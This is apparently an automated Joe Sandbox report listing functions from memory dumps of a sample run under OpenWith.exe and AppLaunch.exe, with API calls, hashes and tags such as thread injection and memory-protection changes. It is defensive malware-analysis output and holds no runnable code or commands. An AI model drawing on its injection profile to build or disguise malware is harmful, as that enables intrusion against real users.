Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 1f4acfd73e0f869c342452aadbb05759e16190e48826278917dcf2679bb9de65
Instruction ID: 67ee1e01319ef4082537e618597fe762896b0431113fee3b62392dbec06ce098
Opcode Fuzzy Hash: 1f4acfd73e0f869c342452aadbb05759e16190e48826278917dcf2679bb9de65
Instruction Fuzzy Hash: 9EE0C211F08C090F6BA862AE24CCA7751D6CBDC232704427BF81EC3295EC14CC410380

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C03474 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007DF488C034BF

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 93a4616800550b85056b3bfca5b27a1e2e5fff5011940eb12dbaf61b78639e47
Instruction ID: ee26a3e1e1b41d93837c4e362c051b65270d8a8f68852f6536fa3aa6be1c55e4
Opcode Fuzzy Hash: 93a4616800550b85056b3bfca5b27a1e2e5fff5011940eb12dbaf61b78639e47
Instruction Fuzzy Hash: 9BF082741145054BEB48EF6CC48876577E2FFA8315F104169E90DCB2E4D7358948C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE2BD4 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

RtlAddFunctionTable.KERNEL32 ref: 00007DF488BE2C01

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: FunctionTable
String ID:
API String ID: 1252446317-0
Opcode ID: c25ee31d986a096af27cae4d435ad27a8a6e049fd93e6a2be314aec3626596b8
Instruction ID: d8bebdd8a0c0f84b32fcce74206f8a9c62384246e5f12c8fd7b60607dd60b9dd
Opcode Fuzzy Hash: c25ee31d986a096af27cae4d435ad27a8a6e049fd93e6a2be314aec3626596b8
Instruction Fuzzy Hash: F0E04F305049094FEB9CD61DC80975036E0EB9830AF608269E406C9291CB39949FCF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF1E4C Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00007DF488BF1E6E

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction ID: da8870e5f59c498552f658fc0d21c2c6fab38f660a2f25809b4041bad1dbbf3c
Opcode Fuzzy Hash: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction Fuzzy Hash: AAD0A720724D0D1FEA88637D1CD532A22D6EBCC321F50553BF81EC2282D959CC550351

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C014C4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488C014ED

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c90adcd0eea0c5e08c1d8f092ee7ab60bc92da0a83167810985a0d7785137009
Instruction ID: 320908218747e9096dfd45891f696b09b49fad5e2737288240f14f5f012b0673
Opcode Fuzzy Hash: c90adcd0eea0c5e08c1d8f092ee7ab60bc92da0a83167810985a0d7785137009
Instruction Fuzzy Hash: 81E0EC30519D59CFEB8ABF78D84875572E0FB18344F94456AC40BCB2E4E67CD585C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE2CB0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BE2CC6

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 4b23fc081a01922b60dc1e2e97b53d4bb065fd443cc914c50e8e45631c00e4a2
Instruction ID: 77d54df7317cd5dab19242aeda46c14f759539f6c0e6d7d13140c930b058ed7c
Opcode Fuzzy Hash: 4b23fc081a01922b60dc1e2e97b53d4bb065fd443cc914c50e8e45631c00e4a2
Instruction Fuzzy Hash: 26D05E30A06D0E0BFF9D67E989A963522A0EFA8202708542DF40BC5B90CA19D854C380

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE3810 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BE3819

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 9ea0ef64f8e175971b3757663d6ca98ea60d11fb241b1fa8108d7b95556115b0
Instruction ID: 2d2c0a4d8b2e51cc611282b10ea553738dad9bfa249fa20b3471f54a25a28d36
Opcode Fuzzy Hash: 9ea0ef64f8e175971b3757663d6ca98ea60d11fb241b1fa8108d7b95556115b0
Instruction Fuzzy Hash: F1B01224D57C4F06FE8C33760F6A0253660BF9C301FC44124E806C0451F50CC4E48342

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF4434 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BF443D

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 4fad1a04826b139af89cf909206fbc8b5ae341a752f874dda09751c78bab0021
Instruction ID: 090f3c1ac3f22a921e229c9f077f75c1dad30f19ec4c8995c6aa1a00ae65d0b2
Opcode Fuzzy Hash: 4fad1a04826b139af89cf909206fbc8b5ae341a752f874dda09751c78bab0021
Instruction Fuzzy Hash: 1EB01224957C4B06FD5C37B60CAA0163560BF54611FC40014EC07F4095EA0CC1D54383

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF1C08 Relevance: 1.3, APIs: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE ref: 00007DF488BF1C30

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: baf14e6f116fe512c943b5f51774f96ca5cd98818a459cbe1e6267cfd3004480
Instruction ID: 7f2c0458abc7aec6f7eaf7fbca6a5ca627d254f9c9356c5447d6f29892fc363e
Opcode Fuzzy Hash: baf14e6f116fe512c943b5f51774f96ca5cd98818a459cbe1e6267cfd3004480
Instruction Fuzzy Hash: 54116D30B049454BEB99DB68A85D76737E1FFD4710F44453BE80FCA156EE2CE904C650

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007DF488C0BFA1 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908846e4d56906f08b5523d06497ec254c0ff1885d66f9c620a5f7baa71d2024
Instruction ID: 5fd85f07ed1ea7bdab0a8e4948fe0c142f4bce46493ac3c5a4957af1fc578ae2
Opcode Fuzzy Hash: 908846e4d56906f08b5523d06497ec254c0ff1885d66f9c620a5f7baa71d2024
Instruction Fuzzy Hash: DDB01120EAC800C2C2080E0AB802330F2B0E30B300F0030302082F3A22CAA0CC80808F

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB87F0511 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2513242174.0000024AB87F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB87F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_24ab87f0000_OpenWith.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d522c07823fb8778296108337a3d1ec347010d1dae431256f70b68abef76ec51
Instruction ID: 9c6f723353de5f7bfac1b68b00d860ec9f8fa9508ac40f659eae0282c9a534f1
Opcode Fuzzy Hash: d522c07823fb8778296108337a3d1ec347010d1dae431256f70b68abef76ec51
Instruction Fuzzy Hash: 26B01132E28A0082E3880E0AB8023B0F2B0C30B300F00B0322008F3220C828CC08028F

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BEAC1C Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3602e1d777bf5bb1f841dfb4cee0302930828d01fa0380f7af7a1f0542282627
Instruction ID: 0751c3cbb4998865a7d4e882d5ccb53d98e9673f9125dfd07c26e0e6d1d4f56a
Opcode Fuzzy Hash: 3602e1d777bf5bb1f841dfb4cee0302930828d01fa0380f7af7a1f0542282627
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AppLaunch.exePID: 3748, Parent PID: 6412COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9%
Total number of Nodes:	134
Total number of Limit Nodes:	12

Executed Functions

Function 000001FF71032D00 Relevance: 17.0, APIs: 2, Strings: 7, Instructions: 1263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFormatCurrentUserKeyPath.NTDLL ref: 000001FF71033847
_calloc_dbg.MSVCRT ref: 000001FF7103399D

Strings

;$dW, xrefs: 000001FF71033CF8
MZ, xrefs: 000001FF7103394D
t, xrefs: 000001FF71033A3C
;$dW, xrefs: 000001FF71033509
N, xrefs: 000001FF71033A34
MZ, xrefs: 000001FF7103355F
;Ln, xrefs: 000001FF71033190

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: CurrentFormatPathUser_calloc_dbg
String ID: ;$dW$;$dW$MZ$MZ$N$t$;Ln
API String ID: 2292065830-84560671
Opcode ID: 157f1959f6c1ae296273567b1bb11043f0c817bd526c72fbd35fb0e6045e4e9b
Instruction ID: c494f5a71f4c3c86e875d1a330fdf22678f7bb7f127e971f803ab5af5cf0e824
Opcode Fuzzy Hash: 157f1959f6c1ae296273567b1bb11043f0c817bd526c72fbd35fb0e6045e4e9b
Instruction Fuzzy Hash: 0CA27EB0518B888FD375EF1898897EAB7E5FB99701F100A3FD489C3251DB74A585CB82

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF7102262C Relevance: 3.3, APIs: 2, Instructions: 293
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 000001FF71022732
SuspendThread.KERNELBASE ref: 000001FF71022774

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ChangeCloseFindNotificationSuspendThread
String ID:
API String ID: 186804629-0
Opcode ID: 012aa871f3677a383b4dfc60332e70ad97fcfb6c7e8e6711813f5b43dbe7f4be
Instruction ID: 1817cfef1334da1182541df5ce97732509b6aef60eaffe0fa1cccd42f8c872af
Opcode Fuzzy Hash: 012aa871f3677a383b4dfc60332e70ad97fcfb6c7e8e6711813f5b43dbe7f4be
Instruction Fuzzy Hash: EE91D831208A068BEB68EB78D8552B9F7D2FF55310F14427DE44AC7285DBB5E847CB82

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF7102DCA8 Relevance: 1.6, APIs: 1, Instructions: 112
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 000001FF7102DD84

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2d073a93e6920a79e751b457bbe1fffaf28ea2cd955acdc2b8805f6aa02d118b
Instruction ID: ecfd8f905d2d2536d310ea29ef5f45b7a39d522d94ab938fa9b7c8652c69aa42
Opcode Fuzzy Hash: 2d073a93e6920a79e751b457bbe1fffaf28ea2cd955acdc2b8805f6aa02d118b
Instruction Fuzzy Hash: 70210B31318F0A0BF7697B68AC497B576DAEB99351B10013DE506C2392EAA8EC4643C1

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71032868 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 000001FF71032883

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: d59889f617d7bff08c3c306dcc86729138403678600cce333b6fa0b1ef9d72b8
Instruction ID: 4221461357126a5490ed79519b2935a4da15ca0aabc4be9ecdb3c48754df73bb
Opcode Fuzzy Hash: d59889f617d7bff08c3c306dcc86729138403678600cce333b6fa0b1ef9d72b8
Instruction Fuzzy Hash: DCD09E34968A4A4BD654B728884165576E2FB95304F95462CA449C3254E279E4064686

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF7102DFA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000001FF7102E023
VirtualProtect.KERNELBASE ref: 000001FF7102E04C

Strings

rE\, xrefs: 000001FF7102DFB8

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ProtectVirtual
String ID: rE\
API String ID: 544645111-988334199
Opcode ID: 56ded2f76aba9e521797851837a4b2f3d153c924ec938fbea88638a34dbd0d3f
Instruction ID: 39f8b28a7a00f097fab09a3bafc036be81c4a455000b7ee0be15bdba1556b97b
Opcode Fuzzy Hash: 56ded2f76aba9e521797851837a4b2f3d153c924ec938fbea88638a34dbd0d3f
Instruction Fuzzy Hash: A711603130490A0BEB45FB6898D1BF9B2A7FBD8300F50163DA40EC3386DE68E94A8741

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF710222D4 Relevance: 3.2, APIs: 2, Instructions: 222
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 000001FF710222EC
VirtualAlloc.KERNELBASE ref: 000001FF710223B8

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: AllocInfoSystemVirtual
String ID:
API String ID: 3440192736-0
Opcode ID: 9d7d394a66d420f46729fce2db7dff2fa9ad5080858a19c0972d689d8e5b7fdb
Instruction ID: 423e38c7653c216af992a97a8dd9396f38deb5639297ef8ca50a963ed491d2b6
Opcode Fuzzy Hash: 9d7d394a66d420f46729fce2db7dff2fa9ad5080858a19c0972d689d8e5b7fdb
Instruction Fuzzy Hash: 2751D730618E0E4FE755FBBC94483B9B6D2FB98300F54423DD849C3295EEB4E88A8781

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF710311C4 Relevance: 3.1, APIs: 2, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001FF7102A9C0: _malloc_dbg.MSVCRT(?,?,?,?,?,?,?,?,?,000001FF71030BD7), ref: 000001FF7102A9DF

MapViewOfFile.KERNELBASE ref: 000001FF71031208
FindCloseChangeNotification.KERNELBASE ref: 000001FF7103125C

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ChangeCloseFileFindNotificationView_malloc_dbg
String ID:
API String ID: 125039924-0
Opcode ID: 1615256058a96f662d82e5d70365b5a95ef8095a714b85b8b17bd8c58e22a67e
Instruction ID: 38876b357c680061a43c67ec6894b6c78e2be95860cae48c03042882a6ce8843
Opcode Fuzzy Hash: 1615256058a96f662d82e5d70365b5a95ef8095a714b85b8b17bd8c58e22a67e
Instruction Fuzzy Hash: 6021993131490A4BEB55FB69C885BFAF797EF99710F40433DA40AC2282DE64F81A8781

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71022978 Relevance: 3.1, APIs: 2, Instructions: 97
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 000001FF710229B7
VirtualProtect.KERNELBASE ref: 000001FF71022A1D

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2ae842f36fea739c72eb014a1896d53ef59da352bda2e8d5b1b4a374332cb5f1
Instruction ID: 585875137c35b1fbf10206dd394fd3dac6e29b3d0687f5da5ac042b0da6649d6
Opcode Fuzzy Hash: 2ae842f36fea739c72eb014a1896d53ef59da352bda2e8d5b1b4a374332cb5f1
Instruction Fuzzy Hash: 3331F531308A854BEB14AB7C98987A57FD2EB5A314F1503A9E899C72C9DB9898068346

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF710269B0 Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNELBASE ref: 000001FF71026A8C
ExitProcess.KERNEL32 ref: 000001FF71026A94

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ExitFreeProcess
String ID:
API String ID: 3485537046-0
Opcode ID: d6020da5cb3e395719af8aa11c0ece2e8036f559e8e51eb1137d6bc0ca2c9b39
Instruction ID: b684b6ac6bd86034e0bfd89f0304b0d4f4438138fb47d9a010552c0cb90f66f4
Opcode Fuzzy Hash: d6020da5cb3e395719af8aa11c0ece2e8036f559e8e51eb1137d6bc0ca2c9b39
Instruction Fuzzy Hash: 3A31CF382055034BEB54FB65C5D67B5FAA2BF44340F64C37C9946873DADAA0B80BCE52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F30A89 Relevance: 2.7, Strings: 2, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3BM_^, xrefs: 00007FF848F30AF5, 00007FF848F30B84
#BM_^, xrefs: 00007FF848F30B10, 00007FF848F30B9F

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID: #BM_^$3BM_^
API String ID: 0-4262217914
Opcode ID: 79bf230484cf93ccdcc37bc76051ab49d19cb7cc0cac904f8838ca608f1e34c2
Instruction ID: b3a300ec615fde4dc40c1cf15db55642e753f892c852e0ccaf397077b5acae5a
Opcode Fuzzy Hash: 79bf230484cf93ccdcc37bc76051ab49d19cb7cc0cac904f8838ca608f1e34c2
Instruction Fuzzy Hash: D561B43060DA855FE786FB38841566937A1EF8B385F6540FBD809CB2E7CE3AA8418751

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71027F68 Relevance: 1.8, APIs: 1, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayCreate.OLEAUT32 ref: 000001FF7102806A

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ArrayCreateSafe
String ID:
API String ID: 37945469-0
Opcode ID: feed77ef0cd4c16f01a3a72a0fcfe8a48c873aaf3ec9f5130becd9de9a079a0d
Instruction ID: 604af64b0d9f343282c352447585d82946be78f836fa5b170ff24e64fc0057fd
Opcode Fuzzy Hash: feed77ef0cd4c16f01a3a72a0fcfe8a48c873aaf3ec9f5130becd9de9a079a0d
Instruction Fuzzy Hash: 24913334208B098FDB84EF28D489BAAB7E5FF99304F10456DE54AC7261DB75E849CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71026C10 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 000001FF71026CD6

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 8001d989f1cdce814a29af2e0a7e370aa2634a56a7ebfb0ceb641defc4775816
Instruction ID: 94cadc71e4842f41a2eac409e316fbb6b8562795125621cd4fd294b20208c202
Opcode Fuzzy Hash: 8001d989f1cdce814a29af2e0a7e370aa2634a56a7ebfb0ceb641defc4775816
Instruction Fuzzy Hash: 58416334714A0E4BEB59F72498917FAB6D7EF98310F50073EA806C72D2DEA5E90A8641

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71027BFC Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc8726696e4af5eff43ddd5b265deb68a8b8f0bb116e718a3ca39d82fa49f0d
Instruction ID: 7e27eb0b051eaa6f88c7e2596d372746c958366608fd8f0e4132ab6fab7e8cb2
Opcode Fuzzy Hash: 2cc8726696e4af5eff43ddd5b265deb68a8b8f0bb116e718a3ca39d82fa49f0d
Instruction Fuzzy Hash: 2D419671608A0D4FD754FF24D4986FAB6E2FBA4300F500A3EE04AC3251DA74D94A8B85

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF7102A9C0 Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc_dbg.MSVCRT(?,?,?,?,?,?,?,?,?,000001FF71030BD7), ref: 000001FF7102A9DF

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: aae8c414740534a1795d95af746d1b7da2ff8220412b4d3ca615a72aab6f3b5f
Instruction ID: 898a804a51cf2dd13370a01404fc0ad06346a254e1c5a8735b299e81401d8f21
Opcode Fuzzy Hash: aae8c414740534a1795d95af746d1b7da2ff8220412b4d3ca615a72aab6f3b5f
Instruction Fuzzy Hash: 47218131214D1D8FDB49EF1CD88C7A1B7D5EBA831170442BAD809CB655DA64E9898781

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71022908 Relevance: 1.6, APIs: 1, Instructions: 52
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 000001FF71022940

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5c31a46f6d445521225acd11504a663c19e0e3d445cc9bb841d99d51f31de999
Instruction ID: ec07a17d3bf1384e4dca867e4eff714226100a6bf5d46396f83a2c8029f49d86
Opcode Fuzzy Hash: 5c31a46f6d445521225acd11504a663c19e0e3d445cc9bb841d99d51f31de999
Instruction Fuzzy Hash: 86012B3171490A8FEB54B77DDC84A7577D5FB8A356B044178E80AC7244E935AC42CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71022BA8 Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001FF71022298: VirtualFree.KERNELBASE ref: 000001FF710222C0

HeapDestroy.KERNELBASE ref: 000001FF71022BEE

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: DestroyFreeHeapVirtual
String ID:
API String ID: 3297652820-0
Opcode ID: 62d38821374f81693b15bee54f72462dc71ef60c0dbcc9aef65487e59bac73cc
Instruction ID: 25d6ebf45fa7b18de6b0d051dec6720333648880df1e83fb860b9857c45acca8
Opcode Fuzzy Hash: 62d38821374f81693b15bee54f72462dc71ef60c0dbcc9aef65487e59bac73cc
Instruction Fuzzy Hash: 5D01A470604B098FFB50FFB9ACD66667BA1FB49313F14413E9409C3261CA785486C741

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71022B54 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 000001FF71022B74

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 87c9353dd802639144902710b699223c01dddb704a7af5c883605137a5967ae2
Instruction ID: c35dfcad99e52cf5725f9a79c971b2d6c410ca3c26100ce916ffa4eeda67eda6
Opcode Fuzzy Hash: 87c9353dd802639144902710b699223c01dddb704a7af5c883605137a5967ae2
Instruction Fuzzy Hash: B3F0E571604A0A4FF765BFF66C843B67653DB85323F244B3FD105C6280D9BA888B4741

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF7102697C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

